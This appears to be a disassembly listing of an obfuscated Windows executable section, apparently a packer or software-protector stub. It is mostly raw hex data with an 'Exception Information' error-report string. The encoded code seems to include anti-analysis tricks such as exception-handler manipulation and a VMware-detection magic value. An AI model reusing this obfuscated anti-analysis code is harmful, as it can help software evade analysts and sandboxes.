		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 594811C3h, 16A136ECh, 2CE9h,	8D5F5700h, 0EC21F885h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89F5CE62h, 0E923018Dh, 0B70F5007h, 47858DFFh
		dd 0BA07EC22h, 16966026h, 1BD8950h, 0FF07E920h,	0E90AD595h
		dd 0E9B58907h, 8307E92Fh, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0C08B08C3h, 1B19958Bh
		dd 0BD8307E9h, 7E918A5h, 83097500h, 0E91A45BDh,	19740007h
		dd 0C08B5350h, 7D3B8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 7D3B8h, 0F9858900h
		dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D8CE2F7Eh
		dd 1278F2E5h, 0BD8B8BC3h, 7E92F09h, 2A698D03h, 0BF0F07E9h
		dd 57C08BD6h, 71BD815Ah, 6F07EC20h, 0F616572h, 9284h, 0E7816600h
		dd 858DB05Ch, 7EC20E9h,	26858D50h, 5007EC22h, 2247858Dh
		dd 0FF5007ECh, 0E90AD595h, 0CC48307h, 265985C6h, 684407E9h
		dd 96A3184Fh, 2669B5FFh, 858D07E9h, 7E93ABCh, 0D88BD0FFh
		dd 2247858Dh, 0FF5007ECh, 71858DD3h, 5007EC20h,	20E9858Dh
		dd 835007ECh, 0E921CDBDh, 8740007h, 220F858Dh, 6EB07ECh
		dd 21F8858Dh, 8D5007ECh, 0EC224785h, 95FF5007h,	7E90AD5h
		dd 8B10C483h, 0E917D9BDh, 8800F07h, 0F000000h, 280h, 0FF5A5300h
		dd 0E9166595h, 49B58907h, 2507E91Ch, 0FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h, 6D734DA5h
		dd 0A8D650ADh, 0F88391B2h, 3B830F05h, 60000000h, 474FBB66h
		dd 1F71958Bh, 0C76107E9h, 0E919A585h, 107h, 68F0F00h, 8B000000h
		dd 0E907BD95h, 0A5858D07h, 0BF07EC20h, 594625AFh, 46E9h
		dd 3840F00h, 66000000h,	0BD83F98Bh, 7E921CDh, 27840F00h
		dd 0B9000000h, 469A6FBEh, 20D0858Dh, 8D8B07ECh,	7E92F71h
		dd 1AE9h, 0CE900h, 58140000h, 5AA2A648h, 3E019C29h, 858D77E1h
		dd 7EC20B2h, 89DBE980h,	0EC20E585h, 91F78107h, 831EA3C1h
		dd 0E921CDBDh, 850F0007h, 24h, 92D8D89h, 860F07E9h, 5
		dd 0FA8313BFh, 6CBD8370h, 7EC30h, 2E840Fh, 8B0F0000h, 0
		dd 1087E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D091326h, 7E92B51h, 4C7E9h, 0C9806000h
		dd 9D9D033Bh, 6107E911h, 83F9C08Bh, 0E918A5BDh,	9750007h
		dd 1A45BD83h, 740007E9h, 8B535019h, 7D4B8C0h, 85890000h
		dd 7E911F9h, 0D7CE9D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h
		dd 50177400h, 7D4B853h,	85890000h, 7E911F9h, 0D4BD9D8Dh
		dd 0D3FF07EBh, 9D89585Bh, 7E91081h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0A4C35343h,	0B76E016Ch, 0E5BD33EAh
		dd 8B07E90Ah, 3F68C0h, 958B000Fh, 7E91271h, 14E9006Ah
		dd 0FE000000h, 9C22F12Dh, 61A7ED0h, 7B3D7AA2h, 0BE845930h
		dd 6AEFD5DDh, 13E96000h, 3F000000h, 863A02E8h, 0D64CB7F0h
		dd 1A0EA74Ch, 6E6BADF6h, 858958F9h, 7E9157Dh, 0F195FF61h
		dd 0F07E92Eh, 86h, 0FC08500h, 1285h, 0DE900h, 0BF4B0000h
		dd 60ACDC0Dh, 4B34C355h, 892FE4FBh, 0EC206985h,	0DDBD8B07h
		dd 6A07E92Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 68F0F71h,	29000000h, 0E916D5B5h
		dd 81006A07h, 79B9E0D2h, 80006A18h, 6AC1E1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h, 6AF88B66h
		dd 0D18B6600h, 2247858Dh, 6A07ECh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0FF42A6C3h, 0B64D66D2h
		dd 800F37D7h, 8, 0BC28152h, 5A204BF6h, 55006A50h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 683A4436h, 15C5BD8Bh, 16A07E9h, 6800Fh, 95890000h, 7E92A71h
		dd 1C7A4DB9h, 89016A18h, 0E92E9D85h, 57016A07h,	20C5B966h
		dd 1FF6859h, 810F000Fh,	0Bh, 58D0Fh, 0F9BF0000h, 833754EFh
		dd 0E921CDBDh, 840F0007h, 1Bh, 0EA5BD0Bh, 0FE8B07E9h, 20C6858Dh
		dd 0F98B07ECh, 12E9h, 0F19D8900h, 8D07E925h, 0EC209C85h
		dd 18D8B07h, 5007E909h,	1839958Bh, 6A5007E9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0DD08C356h, 0E9123B4Fh, 0Ch,	8BE18A6Ch, 0AC95237Eh
		dd 22D68A0Bh, 2069B5FFh, 6A07ECh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0CC9CDEC3h, 0EC6F7DD7h
		dd 860FFBECh, 2, 95FF48B5h, 7EC2055h, 0BE9h, 4B762E00h
		dd 0FC7306EDh, 129DEC2Eh, 850FC085h, 2Fh, 1ECDBD89h, 72E907E9h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8434C357h, 616B3E2Bh, 89DF8948h
		dd 0EC206D85h, 890F6007h, 3, 61A4D180h,	206DB5FFh, 958907ECh
		dd 7E92665h, 2B81BD8Bh,	95FF07E9h, 7E90C5Dh, 1855958Bh
		dd 9E907E9h, 0D000000h,	816DFF43h, 714218AFh, 850FC085h
		dd 9, 3860Fh, 8B660000h, 8B106AD6h, 0E9344995h,	8DB58907h
		dd 8307E92Fh, 0E921CDBDh, 840F0007h, 22h, 0EDCF8166h, 0C6858D0Fh
		dd 8107EC20h, 8EF774D1h, 4FE94Bh, 810F0000h, 6,	16C9B589h
		dd 858D07E9h, 7EC209Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0C6C35545h, 383AF40Ah, 11E9F133h, 60000000h
		dd 12825A15h, 26B67AF5h, 0D65F1802h, 7740A3EDh,	0C4F18166h
		dd 0BEB150D6h, 2069B5FFh, 15007ECh, 0E912B98Dh,	0BF0F5907h
		dd 6195FFFBh, 0F07EC20h, 682h, 0FD8D8900h, 8507E906h, 2F850FC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 9984C352h, 9E979h, 32DB0000h
		dd 5F5C5888h, 0F5B5B4Ah, 8589F8BFh, 7EC206Dh, 1C47B966h
		dd 2DB9006Ah, 6A7F7036h, 0B5FFFC00h, 7EC206Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h, 26319589h
		dd 95FF07E9h, 7EC2059h,	0EA5BD89h, 0BD8B07E9h, 7E930F1h
		dd 850FC085h, 2, 0B5FFCB8Ah, 7EC206Dh, 6810Fh, 9D090000h
		dd 7E92091h, 0C5D95FFh,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 8684E1C3h, 6C1E77AAh
		dd 0C19D89E3h, 8507E929h, 19850FC0h, 0E8000000h, 7, 86AF4F71h
		dd 895AF053h, 0E92F7D85h, 8D8B5F07h, 7E9252Dh, 8D8B006Ah
		dd 7E92B71h, 80685DB6h,	31000000h, 0E909E98Dh, 51036A07h
		dd 7E9h, 10892300h, 63B0236Bh, 89006A5Ah, 0E929BD9Dh, 0E8006A07h
		dd 0Bh,	92F0FBF7h, 331A8D7Ah, 0FFB025Bh, 6859D3B7h, 0C0000000h
		dd 1A85BD09h, 0B5FF07E9h, 7EC20E5h, 1359BD89h, 95FF07E9h
		dd 7E91C0Dh, 61F96060h,	18F99D8Bh, 836107E9h, 850FFFF8h
		dd 509h, 218D8D01h, 85FF07E9h, 7EC2B53h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0F2C35343h, 30933F8Fh
		dd 9D31BCC1h, 7E919DDh,	658D0360h, 8907E92Fh, 0E90FC995h
		dd 0BD836107h, 7EC2B53h, 0A9840F02h, 51000003h,	858D59FCh
		dd 5B243Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	0CBC35242h, 14E93106h, 73000000h, 395D2597h, 0F22A605Bh
		dd 0AB80F677h, 7E0C58D8h, 0FFB8403Eh, 1DF181D0h, 8D229C89h
		dd 5B1E8E85h, 0F9850900h, 0FF07E90Ah, 8B4BB5D0h, 0A18D2BC0h
		dd 8307E91Ch, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535019h, 7D8B8C0h,	85890000h, 7E911F9h, 0D7CE9D8Dh
		dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h,	7D8B853h
		dd 85890000h, 7E911F9h,	0D4BD9D8Dh, 0D3FF07EBh,	0D8BA585Bh
		dd 0F534AD72h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0E57DE5C3h, 41858945h, 907E90Ch
		dd 0E90FBDB5h, 3F6807h,	840F000Fh, 6, 95B3E181h, 6A6DA2h
		dd 5D9CB966h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0E2E81FC3h, 6DC55923h, 0FFFA8B66h
		dd 0E92EF195h, 8B536007h, 958B59C3h, 7E90CE5h, 0E9816661h
		dd 0C085F360h, 0D58529h, 858907E9h, 7EC2069h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 86C35242h, 3155BD8Bh
		dd 0FF6807E9h, 8B000F01h, 0E9092195h, 5E907h, 0A530000h
		dd 8322E85Fh, 0E921CDBDh, 840F0007h, 11h, 20C6858Dh, 58E907ECh
		dd 89000000h, 0E91F69BDh, 9C858D07h, 6A07EC20h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A720C351h, 65871D82h, 0CF81FD16h, 617E4D1Dh, 5E960h
		dd 3E870000h, 0E9120E2Fh, 12h, 41575E6Bh, 815138C8h, 839B0BABh
		dd 4DFA0D45h, 50613B82h, 0B5FFE88Ah, 7EC2069h, 95FFD08Ah
		dd 7EC2061h, 0ACD18166h, 2595319Bh, 8907E90Bh, 0EC206D85h
		dd 299D8907h, 0C707E934h, 0E92B4D85h, 7, 0B5BD8B00h, 8307E922h
		dd 0EC206DBDh, 840F0007h, 173h,	2AC9958Bh, 858D07E9h, 7EC234Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 2BC35242h, 17398589h,	816607E9h, 502B63D2h
		dd 4890Fh, 0BA660000h, 16A164Ah, 0C4D952Bh, 0B5FF07E9h
		dd 7EC206Dh, 23BD8D89h,	95FF07E9h, 7EC2065h, 7E8h, 7A811E00h
		dd 3706E99Ah, 23BDB589h, 0FF5F07E9h, 0EC206DB5h, 798D0B07h
		dd 0FF07E919h, 0E90C5D95h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 6ECCA542h
		dd 0FE96094h, 27000000h, 0DC79FDDFh, 896A0058h,	0AC3E32A9h
		dd 61F8CCEAh, 0F01FF68h, 80B96600h, 0CDBD83FBh,	7E921h
		dd 2D840Fh, 0B9600000h,	18F83A37h, 29F5B523h, 816107E9h
		dd 6B600E7h, 0C6858D1Ah, 0F507EC20h, 6E8h, 0B5F87900h
		dd 0F80897E0h, 0CE959h,	8DFC0000h, 0EC209C85h, 0ADBB907h
		dd 0B2507866h, 69B5FFE8h, 6A07EC20h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C30DC351h
		dd 69D3AE2Ch, 6195FF73h, 8B07EC20h, 6D8589C8h, 8B07EC20h
		dd 0E91D918Dh, 6DB5FF07h, 8B07EC20h, 0E9357195h, 5D95FF07h
		dd 0F07EC20h, 280h, 0FFD38B00h,	0EC206DB5h, 0A98D8B07h
		dd 0FF07E90Ch, 0E90C5D95h, 1DBD8907h, 0E907E922h, 0FFFFF6DCh
		dd 49DEB966h, 2BB6B5FFh, 0F68007ECh, 8595FFC6h,	107E922h
		dd 0E9106D85h, 8E807h, 5BA60000h, 0FC4A36F7h, 95035F57h
		dd 7E91181h, 59858B59h,	8007E91Ch, 3FE955EAh, 53000005h
		dd 8D5AC88Bh, 0EC236BB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 3B23E42Fh
		dd 31BD8B86h, 8D07E923h, 0EBD19D85h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3E0FA26Dh
		dd 627F69E7h, 6AD0FF51h, 65BD8B00h, 0FF07E923h,	0E9138D95h
		dd 0D9B58907h, 8B07E92Eh, 0A9BD03F3h, 8D07E91Ch, 0EBD19D85h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B7BF75A0h, 50C4D285h, 0BF66F2A7h, 95892A2Ch
		dd 7E91F4Dh, 0DE9D0FFh,	0A3000000h, 4442DD6Dh, 97E74C96h
		dd 0C8CA3C89h, 5E8006Ah, 0C2000000h, 0E9081207h, 8D95FF59h
		dd 8907E913h, 0E9137DB5h, 8BC08B07h, 0E909A595h, 0A5BD8307h
		dd 7E918h, 0BD830975h, 7E91A45h, 50197400h, 0B8C08B53h
		dd 7D9h, 11F98589h, 9D8D07E9h, 7EBD7CEh, 585BD3FFh, 1A45BD83h
		dd 740007E9h, 0B8535017h, 7D9h,	11F98589h, 9D8D07E9h, 7EBD4BDh
		dd 585BD3FFh, 0FE8B6657h, 68A0F5Fh, 81000000h, 8B3F0F1h
		dd 7E967h, 0F4BA0000h, 267E44EAh, 89C08BDAh, 0E90ED18Dh
		dd 0BF665007h, 0D88BFF8Fh, 8D53CB8Ah, 0E92D599Dh, 89038B07h
		dd 50438B03h, 8D504389h, 0EC2B4F9Dh, 89038B07h,	6A5B03h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 616122C3h, 12D040E6h, 0BD333C2Bh, 7E91171h, 7998509h
		dd 8D8907E9h, 7E90BDDh,	8D8B006Ah, 7E91B9Dh, 2B4F858Dh
		dd 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0EF3C1CC3h, 0DC35B902h, 6650459Fh, 6AB931BAh
		dd 9E960h, 0DE2B0000h, 1F3710A5h, 8DF0A907h, 0E92D5985h
		dd 0CFBF0F07h, 958D8B50h, 6A07E92Fh, 59BD8B00h,	6607E921h
		dd 6AD08Bh, 0C366EEBFh,	18006863h, 958B0000h, 7E92AE5h
		dd 34258D29h, 0B5307E9h, 0E92039BDh, 0E195FF07h, 8907E91Fh
		dd 0E92A0DB5h, 3995FF07h, 8107E901h, 0D9A81CC7h, 0B6B5FF79h
		dd 0E807EC2Bh, 0Fh, 859F2E81h, 4B81F10Ah, 29093CF6h, 0FE49E61h
		dd 28Fh, 5FCB8A00h, 228595FFh, 13E907E9h, 28000000h, 0B408D7F1h
		dd 0EBFDB109h, 0CA30B62Ch, 62786264h, 858DC984h, 7E92D59h
		dd 0BB8EC981h, 0C2B65841h, 6018408Bh, 0E0D958Bh, 0FE807E9h
		dd 8D000000h, 9A90490Ah, 0A885B517h, 0F85C6390h, 860F69BEh
		dd 0
a_aES		db '_aÇ…%%é',7,0
		align 4
aJ_0		db 'j',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0DFC35747h, 1524EB35h
		dd 8312C076h, 0E921CDBDh, 840F0007h, 64h, 10E8h, 7FEE3B00h
		dd 26D11511h, 47671FBh,	1D713063h, 719D8934h, 5F07E90Fh
		dd 8C3Dh, 4B830F00h, 6A000001h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0B402C356h,	69950B9Bh
		dd 0E907E91Fh, 25h, 88D0Fh, 89560000h, 0E91C818Dh, 0D2815F07h
		dd 1594DEF0h, 983Dh, 3830F00h, 89000001h, 0E92E6D8Dh, 3B858D07h
		dd 0F005B24h, 0D0FFD0BFh, 858DD38Bh, 5B1E8Eh, 6870Fh, 0BD8B0000h
		dd 7E91FB1h, 0C08BD0FFh, 193D9589h, 0BD8307E9h,	7E918A5h
		dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 0BC6B8h
		dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h
		dd 7E91Ah, 53501774h, 0BC6B8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh
		dd 5BD3FF07h, 89D68B58h, 0E929C595h, 9C08B07h, 0E90DA985h
		dd 0FFF88307h, 20850Fh,	0E2800000h, 0C185C7EDh,	7E902h
		dd 0F5000000h, 10EE9h, 0DBD8B00h, 0E907E91Dh, 47h, 0F883C88Bh
		dd 3C850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F6A4C350h,	18135DC7h
		dd 9E8h, 927A4900h, 0CC05380Ch,	65B23FCEh, 0E8E95Fh, 80520000h
		dd 0E95FABCEh, 0FFFFF240h, 0E718D89h, 0C08B07E9h, 5E953h
		dd 0C6EF0000h, 59AD1B3Bh, 18A5BD83h, 750007E9h,	45BD8309h
		dd 7E91Ah, 53501974h, 0DDB8C08Bh, 89000007h, 0E911F985h
		dd 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh, 17740007h
		dd 0DDB85350h, 89000007h, 0E911F985h, 0BD9D8D07h, 0FF07EBD4h
		dd 89585BD3h, 0E90FEDB5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B8D4503h
		dd 6D9D29C0h, 0E907E905h, 204h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6C35545h, 3A71F74Ch, 0BF0F0F13h
		dd 8D7CB2D3h, 0EC295385h, 8830F07h, 53000000h, 820Fh, 895F0000h
		dd 0EC2B4B85h, 858D8907h, 0E907E91Ah, 1Ch, 858D3EB2h, 7EC275Bh
		dd 8166D78Bh, 406051D9h, 2B4B8589h, 9D8907ECh, 7E92B61h
		dd 858D346Ah, 7E90FF1h,	4BB5FF50h, 6A07EC2Bh, 0C595FF00h
		dd 8307E918h, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 265985C6h, 685607E9h, 9CA8B852h, 2669B5FFh, 858D07E9h
		dd 7E93ABCh, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 0EC2BBE85h
		dd 5985C607h, 4707E926h, 18AC9B68h, 69B5FFECh, 8D07E926h
		dd 0E93ABC85h, 0FFD0FF07h, 0C6F08BD0h, 0E9265985h, 61684F07h
		dd 0FFC62F26h, 0E9347DB5h, 0BC858D07h, 0FF07E93Ah, 0BA9D8DD0h
		dd 5307EC2Bh, 0FF56286Ah, 75C085D0h, 5985C600h,	4107E926h
		dd 87649868h, 7DB5FFDBh, 8D07E934h, 0E93ABC85h,	89D0FF07h
		dd 0EC2BD785h, 5985C607h, 4C07E926h, 0A4E7A468h, 7DB5FF80h
		dd 8D07E934h, 0E93ABC85h, 8BD0FF07h, 0EC2BBE9Dh, 45B8D07h
		dd 0C39D8D53h, 5307EC2Bh, 0D0FF006Ah, 2BBE9D8Bh, 3C707ECh
		dd 1, 20C43C7h,	8B000000h, 0E921099Dh, 0C185C707h, 7E912h
		dd 6A000000h, 6A006A00h, 0BE9D8B00h, 5307EC2Bh,	0B5FF006Ah
		dd 7EC2BBAh, 2BD795FFh,	85C607ECh, 7E92659h, 0F7976845h
		dd 0B5FF92A5h, 7E916B5h, 3ABC858Dh, 0D0FF07E9h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 7EC2BBEh, 0C43C7h, 6A000000h
		dd 8B006A00h, 0EC2BBE9Dh, 6A5307h, 2BBAB5FFh, 95FF07ECh
		dd 7EC2BD7h, 2BBAB5FFh,	95FF07ECh, 7E90139h, 95FF006Ah
		dd 7E9138Dh, 2665BD89h,	8D8907E9h, 7E91991h, 5E23858Dh
		dd 8D8907ECh, 7E9300Dh,	0FF64F850h, 35h, 79B50900h, 6407E90Ah
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0CB43B9C3h, 0B70FC0C9h, 0CE8B66FAh
		dd 2EB5BD83h, 0F0007E9h, 5684h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0AFF823B3h
		dd 83DB4349h, 0E91B69BDh, 850F0107h, 27h, 735B589h, 0BD8B07E9h
		dd 7E9258Dh, 2FD7BD80h,	0F0007ECh, 0E85h, 0CD94B900h, 99E90FF6h
		dd 66000001h, 33DE60BAh, 0E98D8BDBh, 3307E925h,	51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0EFE802D6h, 4AB4735Eh, 11E982h, 68C00000h, 3AF970EAh
		dd 0F5B3A6CBh, 8DF97D91h, 40177E17h, 0B073F0Fh,	58F64h
		dd 83000000h, 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0CF6B0CC3h, 8927C437h, 0E915D995h
		dd 0FFFB8307h, 17840Fh,	0CA810000h, 39022C6Ch, 729BD2Bh
		dd 0F7E907E9h, 8B000000h, 0E90DF1BDh, 82E907h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0A70902C3h, 244C8B65h, 0A481C70Ch, 0FF000000h, 83FFFFFFh
		dd 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h
		dd 5E45ED81h, 838B07ECh, 0B8h, 5EFA858Dh, 838907ECh, 0B8h
		dd 0C3C0335Dh, 2F519589h, 8F0F07E9h, 6,	0F3BBD781h, 0E18167B3h
		dd 71C5970Bh, 68D0Fh, 8C0F0000h, 0
aNeJ		db '…;^ì',7,'j',0
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0B6B44FC3h, 0DA5B6BA8h, 8050E887h, 0FF64A2D2h, 35h
		dd 0D18D8B00h, 6407E923h, 2589h, 0AB90000h, 0B8000000h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	7E91615h
		dd 1, 58F64h, 83000000h, 0F78A04C4h, 14E9C08Bh,	69000000h
		dd 0F4435427h, 0C93F053Dh, 0AD262B8Ch, 0C9ABEF1Bh, 83768860h
		dd 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h, 8B535019h
		dd 43DB8C0h, 85890000h,	7E920F5h, 0D8359D8Dh, 0D3FF07EBh
		dd 0BD83585Bh, 7E91A45h, 50177400h, 43DB853h, 85890000h
		dd 7E920F5h, 0D4D69D8Dh, 0D3FF07EBh, 8B66585Bh,	0A1958BD3h
		dd 8B07E919h, 147E9C0h,	40000h,	2E310000h, 303139h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
aGS		db 'ƒ½}',7,'é',7,0
		dd 12D840Fh, 858D0000h,	7EBD2EDh, 57858D50h, 5007EBD2h
		dd 168h, 0FD95FF80h, 8D07EBD2h,	0EC5F7C85h, 858D5007h
		dd 7EC5F86h, 6A006A50h,	6B858D00h, 5007EBD2h, 0D2EDB5FFh
		dd 95FF07EBh, 7E91D8Dh,	5F7C858Dh, 8D5007ECh, 0EC5F8A85h
		dd 6A5007h, 858D006Ah, 7EBD27Dh, 0EDB5FF50h, 0FF07EBD2h
		dd 0E91D8D95h, 7C858D07h, 5007EC5Fh, 5F96858Dh,	6A5007ECh
		dd 8D006A00h, 0EBD2CA85h, 0B5FF5007h, 7EBD2EDh,	1D8D95FFh
		dd 858D07E9h, 7EC5F7Ch,	9E858D50h, 5007EC5Fh, 6A006Ah
		dd 0D2E8858Dh, 0FF5007EBh, 0EBD2EDB5h, 8D95FF07h, 8D07E91Dh
		dd 0EC5F7C85h, 858D5007h, 7EC5F9Ah, 6A006A50h, 0D1858D00h
		dd 5007EBD2h, 0D2EDB5FFh, 95FF07EBh, 7E91D8Dh, 5F7C858Dh
		dd 8D5007ECh, 0EC5F8E85h, 6A5007h, 858D006Ah, 7EBD2D9h
		dd 0EDB5FF50h, 0FF07EBD2h, 0E91D8D95h, 7C858D07h, 5007EC5Fh
		dd 5F92858Dh, 6A5007ECh, 8D006A00h, 0EBD2E085h,	0B5FF5007h
		dd 7EBD2EDh, 1D8D95FFh,	0B5FF07E9h, 7EBD2EDh, 2CBD95FFh
		dd 0A2E907E9h, 83000000h, 0E9116DBDh, 840F0007h, 95h, 1B69BD83h
		dd 0F0007E9h, 1185h, 5958B00h, 8107E909h, 1CF8C2h, 0FE900h
		dd 958D0000h, 7E92D59h,	8134528Bh, 0D4C340C2h, 7595893Bh
		dd 8307E91Ah, 0E91A75BDh, 840F0007h, 55h, 1A759D8Bh, 0C38307E9h
		dd 89038B4Ch, 0EC5F8685h, 759D8B07h, 8307E91Ah,	38B50C3h
		dd 5F8A8589h, 9D8B07ECh, 7E91A75h, 8B54C383h, 96858903h
		dd 8B07EC5Fh, 0E91A759Dh, 58C38307h, 8589038Bh,	7EC5F9Ah
		dd 1A759D8Bh, 0C38307E9h, 89038B5Ch, 0EC5F8E85h, 7DBD8307h
		dd 7E907h, 0D850Fh, 0BD830000h,	7E9116Dh, 68840F00h, 0FF000000h
		dd 0EC5F9EB5h, 92B5FF07h, 0FF07EC5Fh, 0EC5F8EB5h, 9AB5FF07h
		dd 0FF07EC5Fh, 0EC5F96B5h, 8AB5FF07h, 0FF07EC5Fh, 0EC5F86B5h
		dd 80858D07h, 5007EC5Fh, 5FB8858Dh, 8D5007ECh, 0E9034985h
		dd 95FF5007h, 7E90AD5h,	6A24C483h, 0A2858D40h, 5007EC5Fh
		dd 349858Dh, 6A5007E9h,	0C595FF00h, 6A07E918h, 8D95FF01h
		dd 8B07E913h, 8BFC60C1h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0B03349BFh, 0B7D08BD3h
		dd 4810Fh, 0B9660000h, 0BD834520h, 7E918A5h, 83097500h
		dd 0E91A45BDh, 19740007h, 0C08B5350h, 40EB8h, 0F9858900h
		dd 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h,	7E91Ah
		dd 53501774h, 40EB8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh
		dd 5BD3FF07h, 0EE858h, 25E30000h, 88234311h, 42DD6DA3h
		dd 0E74C9644h, 890F60h,	0E8000000h, 0Eh, 491EA6Bh, 47CFFB84h
		dd 9E1995FEh, 61592DECh, 53006A59h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0ABF6A0E6h, 0C08B1106h
		dd 5E86060h, 9000000h, 57994A95h, 0F8BF0F59h, 13E961h
		dd 6FAF0000h, 1C91520Eh, 0E80E25BEh, 0C4977CCBh, 8361F407h
		dd 0BD83614Bh, 7E92EB5h, 2D840F00h, 0E9000000h,	6, 0DAFAA8AFh
		dd 0C1815C00h, 22818299h, 20DE9h, 6E800h, 79480000h, 2E7DE471h
		dd 6FACEA81h, 665E537Eh, 703F181h, 8B60DF8Ch, 3820FC2h
		dd 80000000h, 66616BD2h, 4C7F7h, 1DC850Fh, 81560000h, 0A2F418DEh
		dd 0BD835E0Ch, 7E921CDh, 38850F00h, 80000000h, 0DE955D5h
		dd 0BB000000h, 8504409Ah, 4ED34501h, 0EAF50205h, 1ADE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 2BF9F874h, 5E9FFh, 0A7C20000h, 8DF91DD4h
